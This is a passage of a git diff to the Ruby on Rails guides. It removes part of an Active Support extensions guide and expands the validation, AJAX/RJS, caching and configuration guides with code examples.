-
-<ruby>
-<% sample.in_groups_of(3) do |a, b, c| %>
- <tr>
- <td><%=h a %></td>
- <td><%=h b %></td>
- <td><%=h c %></td>
- </tr>
-<% end %>
-</ruby>
-
-The first example shows +in_groups_of+ fills the last group with as many +nil+ elements as needed to have the requested size. You can change this padding value using the second optional argument:
-
-<ruby>
-[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
-</ruby>
-
-And you can tell the method not to fill the last group passing +false+:
-
-<ruby>
-[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
-</ruby>
-
-As a consequence +false+ can't be a used as a padding value.
-
-h5. +in_groups(number, fill_with = nil)+
-
-The method +in_groups+ splits an array into a certain number of groups. The method returns and array with the groups:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3)
-# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
-</ruby>
-
-or yields them in turn if a block is passed:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
-["1", "2", "3"]
-["4", "5", nil]
-["6", "7", nil]
-</ruby>
-
-The examples above show that +in_groups+ fills some groups with a trailing +nil+ element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
-
-You can change this padding value using the second optional argument:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3, "0")
-# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
-</ruby>
-
-And you can tell the method not to fill the smaller groups passing +false+:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3, false)
-# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
-</ruby>
-
-As a consequence +false+ can't be a used as a padding value.
-
-h5. +split(value = nil)+
-
-The method +split+ divides an array by a separator and returns the resulting chunks.
-
-If a block is passed the separators are those elements of the array for which the block returns true:
-
-<ruby>
-(-5..5).to_a.split { |i| i.multiple_of?(4) }
-# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
-</ruby>
-
-Otherwise, the value received as argument, which defaults to +nil+, is the separator:
-
-<ruby>
-[0, 1, -5, 1, 1, "foo", "bar"].split(1)
-# => [[0], [-5], [], ["foo", "bar"]]
-</ruby>
-
-NOTE: Observe in the previous example that consecutive separators result in empty arrays.
-
-h3. Extensions to +Hash+
-
-...
-
-h3. Extensions to +Range+
-
-...
-
-h3. Extensions to +Proc+
-
-...
-
-h3. Extensions to +Date+
-
-...
-
-h3. Extensions to +DateTime+
-
-...
-
-h3. Extensions to +Time+
-
-...
-
-h3. Extensions to +Process+
-
-...
-
-h3. Extensions to +Pathname+
-
-...
-
-h3. Extensions to +File+
-
-...
-
-h3. Extensions to +Exception+
-
-...
-
-h3. Extensions to +NameError+
-
-...
-
-h3. Extensions to +LoadError+
-
-...
-
-h3. Extensions to +CGI+
-
-...
-
-h3. Extensions to +Benchmark+
-
-...
-
-h3. Changelog
-
-"Lighthouse ticket":https://rails.lighthouseapp.com/projects/16213/tickets/67
-
-* April 18, 2009: Initial version by "Xavier Noria":credits.html#fxn
diff --git a/railties/guides/source/activerecord_validations_callbacks.textile b/railties/guides/source/activerecord_validations_callbacks.textile
index 03d521ea1f..9d0ee29ff2 100644
--- a/railties/guides/source/activerecord_validations_callbacks.textile
+++ b/railties/guides/source/activerecord_validations_callbacks.textile
@@ -403,6 +403,47 @@ WARNING. Note that some databases are configured to perform case-insensitive sea
The default error message for +validates_uniqueness_of+ is "_has already been taken_".
+h4. +validates_with+
+
+This helper passes the record to a separate class for validation.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_with GoodnessValidator
+end
+
+class GoodnessValidator < ActiveRecord::Validator
+ def validate
+ if record.first_name == "Evil"
+ record.errors[:base] << "This person is evil"
+ end
+ end
+end
+</ruby>
+
+The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class.
+
+The validator class has two attributes by default:
+
+* +record+ - the record to be validated
+* +options+ - the extra options that were passed to +validates_with+
+
+Like all other validations, +validates_with+ takes the +:if+, +:unless+ and +:on+ options. If you pass any other options, it will send those options to the validator class as +options+:
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_with GoodnessValidator, :fields => [:first_name, :last_name]
+end
+
+class GoodnessValidator < ActiveRecord::Validator
+ def validate
+ if options[:fields].any?{|field| record.send(field) == "Evil" }
+ record.errors[:base] << "This person is evil"
+ end
+ end
+end
+</ruby>
+
h4. +validates_each+
This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile
index 74e8dec5cf..8a38cf2dc2 100644
--- a/railties/guides/source/ajax_on_rails.textile
+++ b/railties/guides/source/ajax_on_rails.textile
@@ -3,9 +3,8 @@ h2. AJAX on Rails
This guide covers the built-in Ajax/Javascript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics:
* Quick introduction to AJAX and related technologies
-* Handling Javascript the Rails way: Rails helpers, RJS, Prototype and script.aculo.us
+* Handling Javascript the Rails way: Rails helpers, RJS, Prototype and script.aculo.us
* Testing Javascript functionality
-* Becoming an Ajax Master on Rails: Plugins, Best Practices, Tips and Tricks
endprologue.
@@ -30,65 +29,314 @@ How do 'standard' and AJAX requests differ, why does this matter for understandi
-h3. Built-in Rails Helpers
+h3. Built-in Rails Helpers
-Mostly a reference to standard JS helpers like link_to_remote, remote_form_for etc + some explanation
+Rails' Javascript framework of choice is "Prototype":http://www.prototypejs.org. Prototype is a generic-purpose Javascript framework that aims to ease the development of dynamic web applications by offering DOM manipulation, AJAX and other Javascript functionality ranging from utility functions to object oriented constructs. It is not specifically written for any language, so Rails provides a set of helpers to enable seamless integration of Prototype with your Rails views.
+To get access to these helpers, all you have to do is to include the prototype framework in your pages - typically in your master layout, application.html.erb - like so:
+<ruby>
+javascript_include_tag 'prototype'
+</ruby>
+You are ready to add some AJAX love to your Rails app!
-h3. Responding to AJAX the Rails way: RJS
+h4. The Quintessential AJAX Rails Helper: link_to_remote
-In the last section we sent some AJAX requests to the server; now we need to respond, and the standard Rails way to this is using RJS; RJS intro, function reference
+Let's start with the the probably most often used helper: +link_to_remote+, which has an interesting feature from the documentation point of view: the options supplied to +link_to_remote+ are shared by all other AJAX helpers, so learning the mechanics and options of +link_to_remote+ is a great help when using other helpers.
+The signature of +link_to_remote+ function is the same as that of the standard +link_to+ helper:
+<ruby>
+def link_to_remote(name, options = {}, html_options = nil)
+</ruby>
-h3. I Want my Yellow Thingy: Prototype and Script.aculo.us
+And here is a simple example of link_to_remote in action:
-Walk through prototype and script.aculo.us, most important functionality, method reference etc.
+<ruby>
+link_to_remote "Add to cart",
+ :url => add_to_cart_url(product.id),
+ :update => "cart"
+</ruby>
+* The very first parameter, a string, is the text of the link which appears on the page.
+* The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff:
+** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too.
+** *:update* There are basically two ways of injecting the server response into the page: One is involving RJS and we will discuss it in the next chapter, and the other is specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:
-h3. Testing Javascript
+<ruby>
+link_to_remote "Add to cart",
+ :url => add_to_cart_url(product),
+ :update => { :success => "cart", :failure => "error" }
+</ruby>
-Javascript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with Javascript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it:
+If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id +error+ is updated rather than the +cart+ element.
-* (Fire)Watir
-* Selenium
-* Celerity/Culerity
-* Cucumber+Webrat
-* Mention stuff like screw.unit/jsSpec
+** *position* By default (i.e. when not specifying this option, like in the examples before) the repsonse is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities:
+*** +:before+ Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element.
+*** +:after+ Similar behavior to +:before+, but in this case the response is inserted after the target element.
+*** +:top+ Inserts the text into the target element, before it's original content. If the target element was empty, this is equivalent with not specifying +:position+ at all.
+*** +:bottom+ The counterpart of +:top+: the response is inserted after the target element's original content.
+
+A typical example of using +:bottom+ is inserting a new &lt;li&gt; element into an existing list:
+
+<ruby>
+link_to_remote "Add new item",
+ :url => items_url,
+ :update => 'item_list',
+ :position => :bottom
+</ruby>
+
+** *:method* Most typically you want to use a POST request when adding a remote link to your view so this is the default behavior. However, sometimes you'll want to update (PUT) or delete/destroy (DELETE) something and you can specify this with the +:method+ option. Let's see an example for a typical AJAX link for deleting an item from a list:
+
+<ruby>
+link_to_remote "Delete the item",
+ :url => item_url(item),
+ :method => :delete
+</ruby>
+
+Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy.
+
+** *JavaScript filters* You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one:
+*** +:confirm+ =&gt; +msg+ Pops up a JavaScript confirmation dialog, displaying +msg+. If the user chooses 'OK', the request is launched, otherwise canceled.
+*** +:condition+ =&gt; +code+ Evaluates +code+ (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise.
+*** +:before+ =&gt; +code+ Evaluates the +code+ just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example).
+*** +:after+ =&gt; +code+ Evaluates the +code+ after launching the request. Note that this is different from the +:success+ or +:complete+ callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to +:after+ is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed.
+*** +:submit+ =&gt; +dom_id+ This option does not make sense for +link_to_remote+, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id +dom_id+.
+*** +:with+ &gt; +code+ The JavaScript code snippet in +code+ is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, +code+ should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example:
+
+<ruby>
+link_to_remote "Update record",
+ :url => record_url(record),
+ :method => :put,
+ :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')"
+</ruby>
+
+This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
+
+** *Callbacks* Since an AJAX call is typically asynchronous, as it's name suggests (this is not a rule, and you can fire a synchronous request - see the last option, +:type+) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant):
+*** +:loading:+ =&gt; +code+ The request is in the process of receiving the data, but the transfer is not completed yet.
+*** +:loaded:+ =&gt; +code+ The transfer is completed, but the data is not processed and returned yet
+*** +:interactive:+ =&gt; +code+ One step after +:loaded+: The data is fully received and being processed
+*** +:success:+ =&gt; +code+ The data is fully received, parsed and the server responded with "200 OK"
+*** +:failure:+ =&gt; +code+ The data is fully received, parsed and the server responded with *anything* but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509)
+*** +:complete:+ =&gt; +code+ The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything).
+*** Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number:
+<ruby>
+link_to_remote "Add new item",
+ :url => items_url,
+ :update => "item_list",
+ 404 => "alert('Item not found!')"
+</ruby>
+Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:
+<ruby>
+link_to_remote "Add new item",
+ :url => items_url,
+ :update => "item_list",
+ :before => "$('progress').show()",
+ :complete => "$('progress').hide()",
+ :success => "display_item_added(request)",
+ :failure => "display_error(request)",
+</ruby>
+** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
+* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
+** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
+** +link_to_remote+ gains it's AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply +html_options[:onclick]+ you override the default behavior, so use this with care!
+
+We are finished with +link_to_remote+. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections.
+
+h4. AJAX Forms
+
+There are three different ways of adding AJAX forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard HTTP request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following:
+
+* +remote_form_for+ (and it's alias +form_remote_for+) is tied to Rails most tightly of the three since it takes a resource, model or array of resources (in case of a nested resource) as a parameter.
+* +form_remote_tag+ AJAXifies the form by serializing and sending it's data in the background
+* +submit_to_remote+ and +button_to_remote+ is more rarely used than the previous two. Rather than creating an AJAX form, you add a button/input
+
+Let's se them in action one by one!
+
+h5. +remote_form_for+
+
+h5. +form_remote_tag+
+
+h5. +submit_to_remote+
+
+h4. Observing Elements
+
+h5. +observe_field+
+
+h5. +observe_form+
+
+h4. Calling a Function Periodically
+
+h5. +periodically_call_remote+
+
+
+h4. Miscellaneous Functionality
+
+h5. +remote_function+
+
+h5. +update_page+
+
+
+h3. JavaScript the Rails way: RJS
+
+In the last section we sent some AJAX requests to the server, and inserted the HTML response into the page (with the +:update+ option). However, sometimes a more complicated interaction with the page is needed, which you can either achieve with JavaScript... or with RJS! You are sending JavaScript instructions to the server in both cases, but while in the former case you have to write vanilla JavaScript, in the second you can code Rails, and sit back while Rails generates the JavaScript for you - so basically RJS is a Ruby DSL to write JavaScript in your Rails code.
+
+h4. Javascript without RJS
+
+First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood.
+
+<ruby>
+def javascript_test
+ render :text => "alert('Hello, world!')",
+ :content_type => "text/javascript"
+end
+</ruby>
+
+(Note: if you want to test the above method, create a +link_to_remote+ with a single parameter - +:url+, pointing to the +javascript_test+ action)
+
+What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior).
+
+h4. Inline RJS
+
+As we said, the purpose of RJS is to write Ruby which is then auto-magically turned into JavaScript by Rails. The above example didn't look too Ruby-esque so let's see how to do it the Rails way:
+
+<ruby>
+def javascript_test
+ render :update do |page|
+ page.alert "Hello from inline RJS"
+ end
+end
+</ruby>
+
+The above code snippet does exactly the same as the one in the previous section - going about it much more elegantly though. You don't need to worry about headers,write ugly JavaScript code into a string etc. When the first parameter to +render+ is +:update+, Rails expects a block with a single parameter (+page+ in our case, which is the traditional naming convention) which is an instance of the JavaScriptGenerator:"http://api.rubyonrails.org/classes/ActionView/Helpers/PrototypeHelper/JavaScriptGenerator/GeneratorMethods.html" object. As it's name suggests, JavaScriptGenerator is responsible for generating JavaScript from your Ruby code. You can execute multiple method calls on the +page+ instance - it's all turned into JavaScript code and sent to the server with the appropriate Content Type, "text/javascript".
+
+h4. RJS Templates
-Note to self: check out the RailsConf JS testing video
+If you don't want to clutter your controllers with view code (especially when your inline RJS is more than a few lines), you can move your RJS code to a template file. RJS templates should go to the +/app/views/+ directory, just as +.html.erb+ or any other view files of the appropriate controller, conventionally named +js.rjs+.
-h3. Useful Plugins
+To rewrite the above example, you can leave the body of the action empty, and create a RJS template named +javascript_test.js.rjs+, containing the following line:
-This was in the ticket description, but at the moment I don't really have clue what to add here, so please tell me
+<ruby>
+page.alert "Hello from inline RJS"
+</ruby>
+h4. RJS Reference
+In this section we'll go through the methods RJS offers.
-h3. Tips and Tricks
+h5. JavaScriptGenerator Methods
-* Unobtrusive Javascript (Prototype events, maybe the jQuery way (esp. jQeury.live()))
+h6. DOM Element Manipulation
-* Minimize communication with the server - there does not have to be a communication at all!
-** If you absolutely don't have to, don't use Rails observers
-** Cache stuff on the client side, e.g. with auto-complete
+It is possible to manipulate multiple elements at once through the +page+ JavaScriptGenerator instance. Let's see this in action:
-* Using AJAX to load stuff asynchronously
-** To avoid page blocking
-** Tricking page caching
-*** inserting user-specific info into a cached page
-*** anti-CSFR bit
+<ruby>
+page.show :div_one, :div_two
+page.hide :div_one
+page.remove :div_one, :div_two, :div_three
+page.toggle :other_div
+</ruby>
-* Jumping to the top? Try event.stopPropagation
+The above methods (+show+, +hide+, +remove+, +toggle+) have the same semantics as the Prototype methods of the same name. You can pass an arbitrary number (but at least one) of DOM ids to these calls.
-* Performance
-** pack your javascript (minify, asset packager)
-** require your JS at the end of the file
-** other perf tricks and optimization
-* Don't overuse AJAX
-** Usability first, cool effects second
-** situations where AJAX is discouraged
+h6. Inserting and Replacing Content
+
+You can insert content into an element on the page with the +insert_html+ method:
+
+<ruby>
+page.insert_html :top, :result, '42'
+</ruby>
+
+The first parameter is the position of the new content relative to the element specified by the second parameter, a DOM id.
+
+Position can be one of these four values:
+
+*** +:before+ Inserts the response text just before the target element.
+*** +:after+ The response is inserted after the target element.
+*** +:top+ Inserts the text into the target element, before it's original content.
+*** +:bottom+ The counterpart of +:top+: the response is inserted after the target element's original content.
+
+The third parameter can either be a string, or a hash of options to be passed to ActionView::Base#render - for example:
+
+<ruby>
+page.insert_html :top, :result, :partial => "the_answer"
+</ruby>
+
+You can replace the contents (innerHTML) of an element with the +replace_html+ method. The only difference is that since it's clear where should the new content go, there is no need for a position parameter - so +replace_html+ takes only two arguments,
+the DOM id of the element you wish to modify and a string or a hash of options to be passed to ActionView::Base#render.
+
+h6. Delay
+
+You can delay the execution of a block of code with +delay+:
+
+<ruby>
+page.delay(10) { page.alert('Hey! Just waited 10 seconds') }
+</ruby>
+
++delay+ takes one parameter (time to wait in seconds) and a block which will be executed after the specified time has passed - whatever else follows a +page.delay+ line is executed immediately, the delay affects only the code in the block.
+
+h6. Reloading and Redirecting
+
+You can reload the page with the +reload+ method:
+
+<ruby>
+page.reload
+</ruby>
+
+When using AJAX, you can't rely on the standard +redirect_to+ controller method - you have to use the +page+'s instance method, also called +redirect_to+:
+
+<ruby>
+page.redirect_to some_url
+</ruby>
+
+h6. Generating Arbitrary JavaScript
+
+Sometimes even the full power of RJS is not enough to accomplish everything, but you still don't want to drop to pure JavaScript. A nice golden mean is offered by the combination of +<<+, +assign+ and +call+ methods:
+
+<ruby>
+ page << "alert('1+1 equals 3')"
+</ruby>
+
+So +<<+ is used to execute an arbitrary JavaScript statement, passed as string to the method. The above code is equivalent to:
+
+<ruby>
+ page.assign :result, 3
+ page.call :alert, '1+1 equals ' + result
+</ruby>
+
++assign+ simply assigns a value to a variable. +call+ is similar to +<<+ with a slightly different syntax: the first parameter is the name of the function to call, followed by the list of parameters passed to the function.
+
+h6. Class Proxies
+
+h5. Element Proxies
+
+h5. Collection Proxies
+
+h5. RJS Helpers
+
+
+
+h3. I Want my Yellow Thingy: Quick overview of Script.aculo.us
+
+h4. Introduction
+
+h4. Visual Effects
+
+h4. Drag and Drop
+
+
+
+h3. Testing Javascript
+
+Javascript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with Javascript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it:
+
+* (Fire)Watir
+* Selenium
+* Celerity/Culerity
+* Cucumber+Webrat
+* Mention stuff like screw.unit/jsSpec
-* Last but not least: Javascript is your friend :)
+Note to self: check out the RailsConf JS testing video \ No newline at end of file
diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile
index ca10014ee0..757dce1f4e 100644
--- a/railties/guides/source/association_basics.textile
+++ b/railties/guides/source/association_basics.textile
@@ -973,7 +973,7 @@ h6. +:source_type+
The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
-h6. :through
+h6. +:through+
The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>.
diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile
index 2865bc504a..ac6f944457 100644
--- a/railties/guides/source/caching_with_rails.textile
+++ b/railties/guides/source/caching_with_rails.textile
@@ -67,6 +67,8 @@ If you want a more complicated expiration scheme, you can use cache sweepers to
Note: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. Be careful when page caching GET parameters in the URL!
+INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
+
h4. Action Caching
One of the issues with Page Caching is that you cannot use it for pages that require to restrict access somehow. This is where Action Caching comes in. Action Caching works like Page Caching except for the fact that the incoming web request does go from the webserver to the Rails stack and Action Pack so that before filters can be run on it before the cache is served. This allows authentication and other restriction to be run while still serving the result of the output from a cached copy.
@@ -98,6 +100,8 @@ You can modify the default action cache path by passing a +:cache_path+ option.
Finally, if you are using memcached, you can also pass +:expires_in+. In fact, all parameters not used by +caches_action+ are sent to the underlying cache store.
+INFO: Action caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
+
h4. Fragment Caching
Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently Rails provides a mechanism called Fragment Caching.
diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile
index 2711337d43..0e6f981168 100644
--- a/railties/guides/source/configuring.textile
+++ b/railties/guides/source/configuring.textile
@@ -7,7 +7,6 @@ This guide covers the configuration and initialization features available to Rai
endprologue.
-
h3. Locations for Initialization Code
Rails offers (at least) five good spots to place initialization code:
@@ -38,31 +37,87 @@ config.active_record.colorize_logging = false
Rails will use that particular setting to configure Active Record.
+h4. Rails General Configuration
+
+* +config.routes_configuration_file+ overrides the default path for the routes configuration file. This defaults to +config/routes.rb+.
+
+* +config.cache_classes+ controls whether or not application classes should be reloaded on each request.
+
+* +config.cache_store+ configures which cache store to use for Rails caching. Options include +:memory_store+, +:file_store+, +:mem_cache_store+ or the name of your own custom class.
+
+* +config.controller_paths+ accepts an array of paths that will be searched for controllers. Defaults to +app/controllers+.
+
+* +config.database_configuration_file+ overrides the default path for the database configuration file. Default to +config/database.yml+.
+
+* +config.dependency_loading+ enables or disables dependency loading during the request cycle. Setting dependency_loading to _true_ will allow new classes to be loaded during a request and setting it to _false_ will disable this behavior.
+
+* +config.eager_load_paths+ accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. All elements of this array must also be in +load_paths+.
+
+* +config.frameworks+ accepts an array of rails framework components that should be loaded. (Defaults to +:active_record+, +:action_controller+, +:action_view+, +:action_mailer+, and +:active_resource+).
+
+* +config.load_once_paths+ accepts an array of paths from which Rails will automatically load from only once. All elements of this array must also be in +load_paths+.
+
+* +config.load_paths+ accepts an array of additional paths to prepend to the load path. By default, all app, lib, vendor and mock paths are included in this list.
+
+* +config.log_level+ defines the verbosity of the Rails logger. In production mode, this defaults to +:info+. In development mode, it defaults to +:debug+.
+
+* +config.log_path+ overrides the path to the log file to use. Defaults to +log/#{environment}.log+ (e.g. log/development.log or log/production.log).
+
+* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.
+
+* +config.metals+ accepts an array used as the metals to load. If this is set to nil, all metals will be loaded in alphabetical order. If this is set to [], no metals will be loaded. Otherwise metals will be loaded in the order specified
+
+* +config.plugin_loader+ overrides the class that handles loading each plugin. Defaults to +Rails::Plugin::Loader+.
+
+* +config.plugin_locators+ overrides the class that handle finding the desired plugins that you‘d like to load for your application. By default it is the +Rails::Plugin::FileSystemLocator+.
+
+* +config.plugin_paths+ overrides the path to the root of the plugins directory. Defaults to +vendor/plugins+.
+
+* +config.plugins+ accepts the list of plugins to load. If this is set to nil, all plugins will be loaded. If this is set to [], no plugins will be loaded. Otherwise, plugins will be loaded in the order specified.
+
+* +config.preload_frameworks+ enables or disables preloading all frameworks at startup.
+
+* +config.reload_plugins+ enables or disables plugin reloading.
+
+* +config.root_path+ configures the root path of the application.
+
+* +config.time_zone+ sets the default time zone for the application and enables time zone awareness for Active Record.
+
+* +config.view_path+ sets the path of the root of an application's views. Defaults to +app/views+.
+
+* +config.whiny_nils+ enables or disabled warnings when an methods of nil are invoked. Defaults to _false_.
+
+h4. Configuring i18n
+
+* +config.i18n.default_locale+ sets the default locale of an application used for i18n. Defaults to +:en+.
+
+* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+
+
h4. Configuring Active Record
-<tt>ActiveRecord::Base</tt> includes a variety of configuration options:
+<tt>config.active_record</tt> includes a variety of configuration options:
-* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.
+* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to nil to disable logging.
-* +primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
+* +config.active_record.primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
** +:table_name+ would make the primary key for the Customer class +customerid+
** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+
-* +table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
+* +config.active_record.table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
-* +table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
+* +config.active_record.table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
-* +pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table.
+* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table.
-* +colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.
+* +config.active_record.colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.
-* +default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+.
+* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+.
-* +schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
+* +config.active_record.schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
-* +timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application.
+* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application.
-* +lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+.
+* +config.active_record.lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+.
The MySQL adapter adds one additional configuration option:
@@ -70,79 +125,81 @@ The MySQL adapter adds one additional configuration option:
The schema dumper adds one additional configuration option:
-* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +ActiveRecord::Base.schema_format == :ruby+.
+* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +config.active_record.schema_format == :ruby+.
h4. Configuring Action Controller
-<tt>ActionController::Base</tt> includes a number of configuration settings:
+<tt>config.action_controller</tt> includes a number of configuration settings:
-* +asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.
